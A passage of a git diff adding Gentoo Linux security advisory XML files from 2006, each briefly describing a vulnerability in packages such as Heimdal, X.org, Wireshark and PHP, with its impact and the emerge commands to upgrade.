+    <uri link="http://weblog.rubyonrails.org/2006/8/10/rails-1-1-6-backports-and-full-disclosure">Ruby on Rails update  (1.1.6)</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4111">CVE-2006-4111</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4112">CVE-2006-4112</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 10 Aug 2006 07:34:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 10 Aug 2006 14:54:45 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 10 Aug 2006 21:05:59 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-21.xml b/xml/htdocs/security/en/glsa/glsa-200608-21.xml
new file mode 100644
index 00000000..9161435a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-21.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-21">
+  <title>Heimdal: Multiple local privilege escalation vulnerabilities</title>
+  <synopsis>
+    Certain Heimdal components, ftpd and rcp, are vulnerable to a local
+    privilege escalation.
+  </synopsis>
+  <product type="ebuild">Heimdal</product>
+  <announced>August 23, 2006</announced>
+  <revised>August 23, 2006: 01</revised>
+  <bug>143371</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-crypt/heimdal" auto="yes" arch="*">
+      <unaffected range="ge">0.7.2-r3</unaffected>
+      <vulnerable range="lt">0.7.2-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heimdal is a free implementation of Kerberos 5.
+    </p>
+  </background>
+  <description>
+    <p>
+    The ftpd and rcp applications provided by Heimdal fail to check the
+    return value of calls to seteuid().
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could exploit this vulnerability to execute arbitrary
+    code with elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Heimdal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/heimdal-0.7.2-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.pdc.kth.se/heimdal/advisory/2006-08-08/">Official advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3083">CVE-2006-3083</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3084">CVE-2006-3084</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 12 Aug 2006 15:34:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 13 Aug 2006 22:34:21 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Aug 2006 15:19:23 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-22.xml b/xml/htdocs/security/en/glsa/glsa-200608-22.xml
new file mode 100644
index 00000000..697e2546
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-22.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-22">
+  <title>fbida: Arbitrary command execution</title>
+  <synopsis>
+    The fbgs script provided by fbida allows the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">fbida</product>
+  <announced>August 23, 2006</announced>
+  <revised>August 23, 2006: 01</revised>
+  <bug>141684</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/fbida" auto="yes" arch="*">
+      <unaffected range="ge">2.03-r4</unaffected>
+      <vulnerable range="lt">2.03-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    fbida is a collection of image viewers and editors for the framebuffer
+    console and X11. fbgs is a PostScript and PDF viewer for the linux
+    framebuffer console.
+    </p>
+  </background>
+  <description>
+    <p>
+    Toth Andras has discovered a typographic mistake in the "fbgs" script,
+    shipped with fbida if the "fbcon" and "pdf" USE flags are both enabled.
+    This script runs "gs" without the -dSAFER option, thus allowing a
+    PostScript file to execute, delete or create any kind of file on the
+    system.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can entice a vulnerable user to view a malicious
+    PostScript or PDF file with fbgs, which may result with the execution
+    of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All fbida users with the "fbcon" and "pdf" USE flags both enabled
+    should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/fbida-2.03-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3119">CVE-2006-3119</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 19 Aug 2006 16:25:22 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 Aug 2006 14:00:00 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 23 Aug 2006 14:19:22 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-23.xml b/xml/htdocs/security/en/glsa/glsa-200608-23.xml
new file mode 100644
index 00000000..fc223cd3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-23.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-23">
+  <title>Heartbeat: Denial of Service</title>
+  <synopsis>
+    Heartbeat is vulnerable to a Denial of Service which can be triggered by a
+    remote attacker without authentication.
+  </synopsis>
+  <product type="ebuild">heartbeat</product>
+  <announced>August 24, 2006</announced>
+  <revised>September 22, 2006: 02</revised>
+  <bug>141894</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-cluster/heartbeat" auto="yes" arch="*">
+      <unaffected range="ge">2.0.7</unaffected>
+      <unaffected range="rge">1.2.5</unaffected>
+      <vulnerable range="lt">2.0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heartbeat is a component of the High-Availability Linux project. It is
+    used to perform death-of-node detection, communications and cluster
+    management.
+    </p>
+  </background>
+  <description>
+    <p>
+    Yan Rong Ge discovered that the peel_netstring() function in
+    cl_netstring.c does not validate the "length" parameter of user input,
+    which can lead to an out-of-bounds memory access when processing
+    certain Heartbeat messages (CVE-2006-3121). Furthermore an unspecified
+    local DoS issue was fixed (CVE-2006-3815).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a malicious UDP Heartbeat message, even before
+    authentication, a remote attacker can crash the master control process
+    of the cluster.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Heartbeat users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose sys-cluster/heartbeat</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3121">CVE-2006-3121</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3815">CVE-2006-3815</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 19 Aug 2006 16:22:39 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 Aug 2006 14:22:38 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 23 Aug 2006 14:19:23 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-24.xml b/xml/htdocs/security/en/glsa/glsa-200608-24.xml
new file mode 100644
index 00000000..f5fe1192
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-24.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-24">
+  <title>AlsaPlayer: Multiple buffer overflows</title>
+  <synopsis>
+    AlsaPlayer is vulnerable to multiple buffer overflows which could lead to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">AlsaPlayer</product>
+  <announced>August 26, 2006</announced>
+  <revised>August 26, 2006: 01</revised>
+  <bug>143402</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/alsaplayer" auto="yes" arch="*">
+      <vulnerable range="le">0.99.76-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    AlsaPlayer is a heavily multithreaded PCM player that tries to utilize
+    ALSA utilities and drivers. As of June 2004, the project is inactive.
+    </p>
+  </background>
+  <description>
+    <p>
+    AlsaPlayer contains three buffer overflows: in the function that
+    handles the HTTP connections, the GTK interface, and the CDDB querying
+    mechanism.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit the first vulnerability by enticing a user to
+    load a malicious URL resulting in the execution of arbitrary code with
+    the permissions of the user running AlsaPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    AlsaPlayer has been masked in Portage pending the resolution of these
+    issues. AlsaPlayer users are advised to uninstall the package until
+    further notice:
+    </p>
+    <code>
+    # emerge --ask --unmerge &quot;media-sound/alsaplayer&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-4089">CVE-2006-4089</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 18 Aug 2006 15:04:43 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 18 Aug 2006 21:34:55 +0000">
+    hlieberman
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Aug 2006 21:40:51 +0000">
+    hlieberman
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-25.xml b/xml/htdocs/security/en/glsa/glsa-200608-25.xml
new file mode 100644
index 00000000..f6f1715e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-25.xml
@@ -0,0 +1,165 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-25">
+  <title>X.org and some X.org libraries: Local privilege escalations</title>
+  <synopsis>
+    X.org, libX11, xdm, xf86dga, xinit, xload, xtrans, and xterm are vulnerable
+    to local privilege escalations because of unchecked setuid() calls.
+  </synopsis>
+  <product type="ebuild">xorg-x11,xorg-server,xtrans,xload,xinit,xterm,xf86dga,xdm,libX11</product>
+  <announced>August 28, 2006</announced>
+  <revised>December 13, 2006: 02</revised>
+  <bug>135974</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-apps/xdm" auto="yes" arch="*">
+      <unaffected range="ge">1.0.4-r1</unaffected>
+      <vulnerable range="lt">1.0.4-r1</vulnerable>
+    </package>
+    <package name="x11-apps/xinit" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2-r6</unaffected>
+      <vulnerable range="lt">1.0.2-r6</vulnerable>
+    </package>
+    <package name="x11-apps/xload" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1-r1</unaffected>
+      <vulnerable range="lt">1.0.1-r1</vulnerable>
+    </package>
+    <package name="x11-apps/xf86dga" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1-r1</unaffected>
+      <vulnerable range="lt">1.0.1-r1</vulnerable>
+    </package>
+    <package name="x11-base/xorg-x11" auto="yes" arch="*">
+      <unaffected range="rge">6.8.2-r8</unaffected>
+      <unaffected range="ge">6.9.0-r2</unaffected>
+      <vulnerable range="lt">6.9.0-r2</vulnerable>
+    </package>
+    <package name="x11-base/xorg-server" auto="yes" arch="*">
+      <unaffected range="rge">1.0.2-r6</unaffected>
+      <unaffected range="ge">1.1.0-r1</unaffected>
+      <vulnerable range="lt">1.1.0-r1</vulnerable>
+    </package>
+    <package name="x11-libs/libx11" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1-r1</unaffected>
+      <vulnerable range="lt">1.0.1-r1</vulnerable>
+    </package>
+    <package name="x11-libs/xtrans" auto="yes" arch="*">
+      <unaffected range="ge">1.0.0-r1</unaffected>
+      <vulnerable range="lt">1.0.0-r1</vulnerable>
+    </package>
+    <package name="x11-terms/xterm" auto="yes" arch="*">
+      <unaffected range="ge">215</unaffected>
+      <vulnerable range="lt">215</vulnerable>
+    </package>
+    <package name="app-emulation/emul-linux-x86-xlibs" auto="yes" arch="amd64">
+      <unaffected range="ge">7.0-r2</unaffected>
+      <vulnerable range="lt">7.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    X.org is an implementation of the X Window System.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several X.org libraries and X.org itself contain system calls to
+    set*uid() functions, without checking their result.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Local users could deliberately exceed their assigned resource limits
+    and elevate their privileges after an unsuccessful set*uid() system
+    call. This requires resource limits to be enabled on the machine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.Org xdm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-apps/xdm-1.0.4-r1&quot;</code>
+    <p>
+    All X.Org xinit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-apps/xinit-1.0.2-r6&quot;</code>
+    <p>
+    All X.Org xload users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-apps/xload-1.0.1-r1&quot;</code>
+    <p>
+    All X.Org xf86dga users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-apps/xf86dga-1.0.1-r1&quot;</code>
+    <p>
+    All X.Org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-x11-6.9.0-r2&quot;</code>
+    <p>
+    All X.Org X servers users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-server-1.1.0-r1&quot;</code>
+    <p>
+    All X.Org X11 library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/libx11-1.0.1-r1&quot;</code>
+    <p>
+    All X.Org xtrans library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/xtrans-1.0.1-r1&quot;</code>
+    <p>
+    All xterm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/xterm-215&quot;</code>
+    <p>
+    All users of the X11R6 libraries for emulation of 32bit x86 on amd64
+    should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-xlibs-7.0-r2&quot;</code>
+    <p>
+    Please note that the fixed packages have been available for most
+    architectures since June 30th but the GLSA release was held up waiting
+    for the remaining architectures.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://lists.freedesktop.org/archives/xorg/2006-June/016146.html">X.Org security advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447">CVE-2006-4447</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 16 Aug 2006 08:09:58 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 Aug 2006 15:45:11 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 23 Aug 2006 20:02:52 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-26.xml b/xml/htdocs/security/en/glsa/glsa-200608-26.xml
new file mode 100644
index 00000000..92af9282
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-26.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-26">
+  <title>Wireshark: Multiple vulnerabilities</title>
+  <synopsis>
+    Wireshark is vulnerable to several security issues that may lead to a
+    Denial of Service and/or the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>August 29, 2006</announced>
+  <revised>August 29, 2006: 01</revised>
+  <bug>144946</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">0.99.3</unaffected>
+      <vulnerable range="lt">0.99.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a feature-rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities have been discovered in Wireshark.
+    Firstly, if the IPsec ESP parser is used it is susceptible to
+    off-by-one errors, this parser is disabled by default; secondly, the
+    SCSI dissector is vulnerable to an unspecified crash; and finally, the
+    Q.2931 dissector of the SSCOP payload may use all the available memory
+    if a port range is configured. By default, no port ranges are
+    configured.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker might be able to exploit these vulnerabilities, resulting
+    in a crash or the execution of arbitrary code with the permissions of
+    the user running Wireshark, possibly the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the SCSI and Q.2931 dissectors with the "Analyse" and "Enabled
+    protocols" menus. Make sure the ESP decryption is disabled, with the
+    "Edit -> Preferences -> Protocols -> ESP" menu.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-0.99.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4330">CVE-2006-4330</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4331">CVE-2006-4331</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4332">CVE-2006-4332</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4333">CVE-2006-4333</uri>
+    <uri link="http://www.wireshark.org/security/wnpa-sec-2006-02.html">Wireshark official advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 25 Aug 2006 07:36:40 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 26 Aug 2006 14:34:42 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 26 Aug 2006 14:55:04 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-27.xml b/xml/htdocs/security/en/glsa/glsa-200608-27.xml
new file mode 100644
index 00000000..548f8b0a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-27.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-27">
+  <title>Motor: Execution of arbitrary code</title>
+  <synopsis>
+    Motor uses a vulnerable ktools library, which could lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">motor</product>
+  <announced>August 29, 2006</announced>
+  <revised>August 29, 2006: 01</revised>
+  <bug>135020</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/motor" auto="yes" arch="*">
+      <unaffected range="rge">3.3.0-r1</unaffected>
+      <unaffected range="ge">3.4.0-r1</unaffected>
+      <vulnerable range="lt">3.4.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Motor is a text mode based programming environment for Linux, with a
+    syntax highlighting feature, project manager, makefile generator, gcc
+    and gdb front-end, and CVS integration.
+    </p>
+  </background>
+  <description>
+    <p>
+    In November 2005, Zone-H Research reported a boundary error in the
+    ktools library in the VGETSTRING() macro of kkstrtext.h, which may
+    cause a buffer overflow via an overly long input string.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to use a malicious file or input,
+    which could lead to the crash of Motor and possibly the execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Motor 3.3.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/motor-3.3.0-r1&quot;</code>
+    <p>
+    All motor 3.4.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/motor-3.4.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3863">CVE-2005-3863</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Aug 2006 15:20:34 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 26 Aug 2006 14:27:17 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 26 Aug 2006 15:28:41 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-28.xml b/xml/htdocs/security/en/glsa/glsa-200608-28.xml
new file mode 100644
index 00000000..ee4b88bc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-28.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-28">
+  <title>PHP: Arbitary code execution</title>
+  <synopsis>
+    PHP contains a function that, when used, could allow a remote attacker to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>August 29, 2006</announced>
+  <revised>March 29, 2008: 05</revised>
+  <bug>143126</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="*">
+      <unaffected range="rge">4.4.3-r1</unaffected>
+      <unaffected range="rge">4.4.4-r4</unaffected>
+      <unaffected range="rge">4.4.6</unaffected>
+      <unaffected range="rge">4.4.7</unaffected>
+      <unaffected range="rge">4.4.8_pre20070816</unaffected>
+      <unaffected range="ge">5.1.4-r6</unaffected>
+      <vulnerable range="lt">5.1.4-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    The sscanf() PHP function contains an array boundary error that can be
+    exploited to dereference a null pointer. This can possibly allow the
+    bypass of the safe mode protection by executing arbitrary code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might be able to exploit this vulnerability in PHP
+    applications making use of the sscanf() function, potentially resulting
+    in the execution of arbitrary code or the execution of scripted
+    contents in the context of the affected site.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP 4.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-4.4.3-r1&quot;</code>
+    <p>
+    All PHP 5.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-5.1.4-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4020">CVE-2006-4020</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Aug 2006 20:16:18 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 26 Aug 2006 14:28:36 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 26 Aug 2006 15:12:31 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-01.xml b/xml/htdocs/security/en/glsa/glsa-200609-01.xml
new file mode 100644
index 00000000..d5021876
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-01.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-01">
+  <title>Streamripper: Multiple remote buffer overflows</title>
+  <synopsis>
+    Streamripper is vulnerable to multiple remote buffer overflows, leading to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">streamripper</product>
+  <announced>September 06, 2006</announced>
+  <revised>September 06, 2006: 01</revised>
+  <bug>144861</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/streamripper" auto="yes" arch="*">
+      <unaffected range="ge">1.61.26</unaffected>
+      <vulnerable range="lt">1.61.26</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Streamripper extracts and records individual MP3 file tracks from
+    SHOUTcast streams.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar, from the Debian Security Audit Project, has found that
+    Streamripper is vulnerable to multiple stack based buffer overflows
+    caused by improper bounds checking when processing malformed HTTP
+    headers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to connect to a malicious server, an attacker could
+    execute arbitrary code with the permissions of the user running
+    Streamripper
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Streamripper users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/streamripper-1.61.26&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3124">CVE-2006-3124</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 04 Sep 2006 14:37:38 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 04 Sep 2006 18:11:08 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 05 Sep 2006 19:33:58 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-02.xml b/xml/htdocs/security/en/glsa/glsa-200609-02.xml
new file mode 100644
index 00000000..125b82d8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-02.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-02">
+  <title>GTetrinet: Remote code execution</title>
+  <synopsis>
+    GTetrinet is vulnerable to a remote buffer overflow, potentially leading to
+    arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">GTetrinet</product>
+  <announced>September 06, 2006</announced>
+  <revised>September 07, 2006: 02</revised>
+  <bug>144867</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-puzzle/gtetrinet" auto="yes" arch="*">
+      <unaffected range="ge">0.7.10</unaffected>
+      <vulnerable range="lt">0.7.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
